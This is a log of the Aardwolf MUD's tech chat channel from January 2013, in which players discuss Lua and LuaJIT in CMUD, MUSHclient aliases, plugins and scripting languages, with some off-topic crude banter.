T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: oh, looks like __len for tables was added in 5.2
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: i'm still using 5.1 though :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I assume this is not in aardwolf mushclient, then
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: no, i never said it was
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish nods.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but what are you actually trying to do
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: might be time to see if i can get 5.2 working in cmud, cause it doesn't look like zugg'll be updating it anytime soon
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: override the # operator on a table
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Sharkin Zanion Tech: is there a handy identify and report to channel script that would total all stats available for mush? 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: override it to do what?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: if you want the long answer, i made a wildcards table with a __index metamethod to return zs.param(index) for easier cmud/mush cross-compatibility, but i can't use #wildcards cause it's just an empty table
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mm
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: if i drop a lua 5.2 dll into my cmud folder will it just use that, or does it require changes in the source to upgrade?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I suggest using the luajit dll instead
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: same question then :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: can i just drop that in? i can't recompile cmud with the new version if that's necessary, obviously
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: luajit has feature parity with 5.2 but is ABI-compatible to lua 5.1
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it may not work to drop in a 5.2 dll, but you can try that too
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: i'll try it then
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: if a lua dll ships with the cmud install, it might be looking for a specific name
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I use luajit in the aardwolf mushclient package
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can find daily windows luajit builds here https://dl.dropbox.com/s/evxx7x53z5wpx6b/luajit4win.html
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: oh, thanks :)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: i was just about to ask if there's a dll somewhere instead of needing to compile it myself :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: assuming you could just rename the proper file (likely a bad idea, since there could be updates and reworks in the dll source), it should work.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: isn't lua an MSH-compatible language, though?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: note, I don't know if those builds are done with -DLUAJIT_ENABLE_LUA52COMPAT
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, looks like they are
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: well, i don't think anything broke
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: print(_VERSION) still shows 5.1, so i'm not sure if it actually did anything :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: well, that's interesting.  A failed java update...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's not a valid action to print the version
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: ok, what would you suggest?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: \\\print(jit.version)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: well, that threw a cmud error :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: without the \\\ of course
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: nod
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: i know what you meant :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what error?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: a standard access violation error message
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: lol
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: not really specific :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: did you make sure the dll has the same name as the file you replaced?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: there's an empty function on the call stack, which is strange
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: it didn't, but cmud is finding it
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: the call stack gets to lua5.1.dll
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'd change the file name just in case
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can also try the build I made for the aardwolf mushclient package
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: ah, changing the file name seems to have fixed it, print(jit.version) works anyway
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if that works then everything else will too
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: and my __len metamethod works :) thanks!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Aliens Tech: well this is a novel way to learn sql i guess, lol
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Aliens Tech: ~ $ sqlite3 -line Aardwolf.db "SELECT uid,name,area,info,notes FROM rooms WHERE area LIKE '%senn%' AND name LIKE '%hut%';"
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish raises an eyebrow.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Aliens Tech: i had an idea for a mush plugin but it requires i learn sql, lol
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: please don't bot quests
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Aliens Tech: no it's not bot related at all
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Aliens Tech: more information gathering
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Haldrik Tech: mmm, does anyone know how to setup bast's broadcast plugins?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: how do I get screen to stop jumping 
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aliens Tech: break it's legs...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: lol
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: also how do I turn off the buttons on the sscreen
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: break em off?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: lmao
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: hmm, not familiar enough with the android client to know
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: ok Ty
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: aard isn't really meant to be played by phone...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: it's ok if ys just wanna chat or w/e
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's far more playable by phone now than it used to be...and I've set mine up to where I can quest easily
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: I just started tonight
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: i couldn't imagine playing a hunter on a phone...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: took me 3 days to write a script to get the whole targetting/shoot/attack thing down
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Psychoghost Tech: I'm a barbarian
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: ah that'll be easier :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: barely need attack skills
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: just wear a shield and pound away on mobs
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: set up some buttons for moving around, opening all doors, and considering all...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and then some for your combat skills like disarm, trip, etc.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: also, a button to quaff heals
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: those will make leveling via phone a lot more painless
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tasty Tipro Tech: I went to sleep, left my comp open, came back and my cat had messed up a lot of my MUSH settings, including the colors. I have found the MUSH client ansi and custom colours under world configuration, but have not been able to just set my colors back to the way they were before. Anyone know exactly what to do? I hadn't ever messed with the colors previously
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tasty Tipro Tech: I think the colors were exactly the way the MUD spits it out to me, and now the MUSH is doing something. Don't know how to fix it though
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Varas Tech: Does anyone here use Blender to make vids?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Kelvar Tech: for backing up explored rooms and other settings in mush, any particular file(s) i need to copy or just the whole dir?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: I would copy the database files for explored rooms. It is Aardwolf.db
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: if you are using the Aardwolf MUSHclient, then look here: http://www.aardwolf.com/play/downloadmc.htm and if you are using my stuff, copy all the db files in the logs directory.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Kelvar Tech: ok, thanks turie
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: if you are using the Aardwolf MUSHclient, then look here: http://www.aardwolf.com/play/downloadmc.htm and if you are using my stuff, copy all the db files in the logs directory.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: if you are using the Aardwolf MUSHclient, then look here: http://www.aardwolf.com/play/downloadmc.htm and if you are using my stuff, copy all the db files in the logs directory.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: oops
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Ontuct Tech: say what would you do if you were using aardmush or basts stuff?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: yeah, sorry about that, stupid up arrow
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Kajitin Tech: does anyone use the winklewinkle search and destroy script? if so, would I just run it as is? or mix it for my specific CP?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: is there a reason I can't create an alias with multiple commands?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Sharking Inicus Tech: in what client?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: mush
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: on per line, no semicolons
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Sharking Inicus Tech: you can just hit enter to go to the next line
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: with quotes?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: ohhhh alias blah<enter>cmd1<enter>
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: actually, that doesn't work... enter fires the command :=\  and i cant use quotes
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Flach Tech: what are you trying to do
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: eg, I just want an alias like "south
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: s w
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Flach Tech: You can create an alias that will do that, yeah.  Aard mush client?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: actually i want hold garbage enter second sword (with semicolons in between)
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Chimeishio Tech: use double semicolons, sounds like you are making a mudside alias
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Getsuko Tech: YES! That's it!  Needed double smicolons, thank yoU!!!!
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: can you make parameter independent aliases in mush, similar to how aliases work in zmud/cmud?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: you mean aliases that will fire with no, some or all the parameters?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: yes
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: I don't see why not, given the access to regex.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: or more specifically, can you make an alias in which you don't know how many parameters will be passed?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: definitely can do that.  It just means you'll have to do some parsing of the "only" parameter sent.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: i know you can make a regex that just captures everything after the alias name, but then i need to parse it out since it's just one parameter... cmud makes it easier :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Caressa Tech: i have a question but i think i need someone whos a bit beyond just tech school for this one...(hacker catching) 
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Caressa Tech: pst
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: I imagine if you're coming to aard for help with a hacker issue you probably have already lost.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Caressa Tech: lol these guys arent mudders :) which is why i came to you lol
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Is it worth it to buy cMud? Been using zmud since 98. 
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tigernuts Tech: probably not
T3/r7/2013-01-15.txt.gz:{chan ch=tech}CeriQ Tech: Go for mushclient instead. It's GREAT.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Is mushclient great for the features or the plugins available for it for aard?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: compared to zmud, cmud's great too... it's no longer being developed though
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: mushclient is better if you don't want to learn how to script or don't want to waste playtime developing scripts of your own.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: tons of already-built stuff that is widely shared.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: botting  for the masses
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: mainly the availability of plugins for aard... cmud can do pretty much anything mush can do, but there's less scripts available for download
T3/r7/2013-01-15.txt.gz:{chan ch=tech}CeriQ Tech: See, here's where I go weak. I used to use zMud when I started, then I quit. When I returned, I used cMud. Then I quit. Now I use mushclient. And it's always been awesome.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tech: Tigernuts is agreeing with that Seltsimees Dagnir person again...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Scripting is Lua right in mushclient?  What other language would you say it closest relates to?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tigernuts Tech: mushclient, socialism for scripting
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: the only bad thing about Mush is that it makes the script-writer handle every last little detail with no sort of convenience factor to help newbies learn.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tigernuts Tech: that's a good thing, surely
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Fine grain control is awesome, but quick and dirty is always nice too
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: I learned by looking at others simple plugins and reading the Mush forums.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: I'm not even sure what you would want automated with Mushliecnet plugins?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: a prime example of what I mean is in setting up a window for your plugin.  In CMud, you have pretty much the entire Mushclient scripting capability for just this one thing encapulated in just 3 commands/tags.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: You know honestly, nothing comes to but I like having to scratch the itch, when the need comes :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Doink Tech: Menda could you a write a script, where you could set a variable for compare scores, then any compare score = to or higher than the variable would get a keep flag added to it?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: Hanslanda - Mini-windows are the only failing of Mushclient scripts, chose another example :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Funny I was thinking about getting cMud and now I'm downloading mushclient
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Aww are mini windows a pain in mushclient?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: i refuse to do anything with miniwindows :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Siren Cera Tech: MUSH > cMud
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: that's highly subjective, cera
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: I've had success with Bast's miniwindow helper - but like everything mini-window it's quirky.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tigernuts Tech: neither is a replacement for being able to play
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Just switched a moment ago to Mush, the default aardones are pretty nice out the box
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: "Clients" command is not subjective though :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: quirky? *eyebrow*
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: clients command is a counter :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lulz Tech: Miniwindows are great in MUSH...I love being able to have all sorts of information encapsulated in miniwindows around my screen.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: it doesn't define "best" clients
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Siren Cera Tech: I will not argue with that Celanil.  :)
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: have you ever tried coding them, lulz?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: Haha Bast, I meant it to mean it's quirky because mini-windows themselves are!
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lulz Tech: No, but I imagine it's not any manner of cakewalk. Heh.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tigernuts Tech: i've broken several keyboards coding in zmud
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: that's what we're talking about :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: clients can report whatever they want.  Aardwolf really has no clue that I use CMud other than the fact I'm too lazy to bother changing my tag to "The only official Lasher-approved bot"
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: in that case, then I agree ;)
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: what do you mean by quirky?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Mendaloth Tech: The fact that you have to actually do the draws of the windows themselves, and the buttons - blows my mind.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Haha, The only official Lasher-approved bot... *rofl*
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lulz Tech: Surely it allows for a great deal of personal customization, though?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tech: Book of Etzli points excitedly at Melvin!
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: Coding and mudding, thats how you do a Tuesday
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Most generally.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: As well as every other day of the week
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lulz Tech: I wish I was proficient in coding :( I'm still learning the basics of python...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: heh, have to save the fun to celebrate clearing Monday
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: can you use python in mush?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: Yes
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, but it's easier overall to just learn Lua
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: oh really now?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: if you are making progress in Python, you are pretty much able to handle any language.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Ylar Tech: Python? Mushclient doesn't make care for snakes.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lulz Tech: I'm just starting with Python to learn how to code in general...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: nod, was just curious
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Tech: Ylar snickers softly.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: i always forget the list of languages mush supports :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: VBscript, Python, and Lua. I can't remember if there are others.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: there's lots more than that
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: But I know those 3 for sure.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: mushclient supports it, but it isn't build in and you have to use wsh, and that can be a pain to get working in wine. Lua is built in.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: javascript
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: love Python but the formatting of your code mattering, thats always made me go...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aldeas Tech: no quick and easy option on compiling it for python?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: compiling what for python?  MUSHclient uses the wsh feature of windows for anything but LUA support
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: generally if it's supported by the Microsoft Scripting Host (Microsoft Scripting Server/Service in XP and earlier) you can use it in CMud or Mush.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: that's something like 25 different languages now or something crazy.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Siren Cera Tech: i wish someone would write a set of scripts that will allow ME to wriet scripts as easily as it was to do so in zMud.  :(
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's easier than CMud, IMO. Sure, there's a learning curve, but what in this world doesn't have one?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: i have to disagree with that
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: cmud's settings editor is light years ahead of mush's
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's not scripting, that's being a GUI kiddy :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: it's how newbies learn.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: pfft, do you honestly write plugins in mush's editor, or do you use a text editor with syntax highlighting at the very least?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Bast Tech: text editor, but no syntax highlighting since it is very hard to get an editor to see it as something beside generic xml
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I use VI
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: notepad++ does
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: in mush, in the hopes of forcing myself to learn lua, I go all-out and use plain notepad.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Kelvar Tech: is there a site that has a list of plugins avail for aardwolrd?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, in NP++ you just go Language -> L -> Lua
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Kelvar Tech: err, aardwolf
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Cody Tech: is there any plugin that adds tabs for each channel in the comm logs? sometimes i only wanna see a certain channel.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: You need to look through the menu to select your wanted channels.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: not yet
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: feel free to make one :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: feel free to make one :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Anyone ever install a Lockpick Interface in there car/truck?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Cody Tech: well i want the option to see them all and then click to see only certain channel, ya know what i mean?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Cody Tech: ahh ok. if i knew how i would.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: yeah i could use that as well...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: Then make an alias to turn those channels off.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Cody Tech: not grasping my thoughts i dont thing...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: use the history feature
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Cody Tech: i want the option to log my comms as they are right now, but also the option to see just a single channel in its own comms.  but ya, o well   thanks
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Cody Tech: ya :(
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: i want 25 year female with rich parents... but some things just don't work out that way :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: a lockpick interface is just a lock, isn't it?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}RightOn Rithlin Tech: No.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: a lock with an interface...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}RightOn Rithlin Tech: It unlocks the nav/video in your car/truck.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would settle for a 65year old with rich parents
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Globules Tech: I would rather marry one of the rich parents
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: smoking 25yo with rich, dead parents?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you don't marry the women you sleep with? :P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: the rates go up when you do that.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 25 is too young
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: stick with 30+.  That's when the kitty really wants to play and won't take no for an answer.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: thanks for that mental image... :/
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: ...are you averse to having hot and experienced women throwing themselves at you?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 30-40 isn't old
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: I didn't say old, I said experienced.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: no, i'm wondering what else she doesn't say no to
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: old is when the lips hang 2x farther down than the hair
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh cool, we must be talking about android babes.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Hanslanda Tech: you know how teenaged boys are?  30yo women get like that, plus the bioclock starts ticking louder in their ears.  Recent research says men peak closer to that point, as well (when I was in school, we were taught we peaked earlier.)
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Santher Tech: recent? i learned that 20 years ago...
T3/r7/2013-01-15.txt.gz:{chan ch=tech}WarPigs Tech: fyi, you mistyped "curse" as "tech"
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: This needs to be on gossip or debate.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Antmanz Tech: i acedentlly deleted my east action in the top right of my screen is there a way to get it back?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Blowtorch? I think if you hold your finger down it enters button creation mode where you were touching
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Antmanz Tech: legened ty
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lecithin Tech: Is there any reason my zmud would not be saving the new scripts I import / execute each time I quit?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lecithin Tech: they work just fine, but when i quit they apparently dissapear
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is Dell really going to be taken private?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why would anybody pay more for a Dell machine when Lenovo is 20% cheaper, anyway?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Lenovo is Chinese, and while their B2B services are exceptional,.
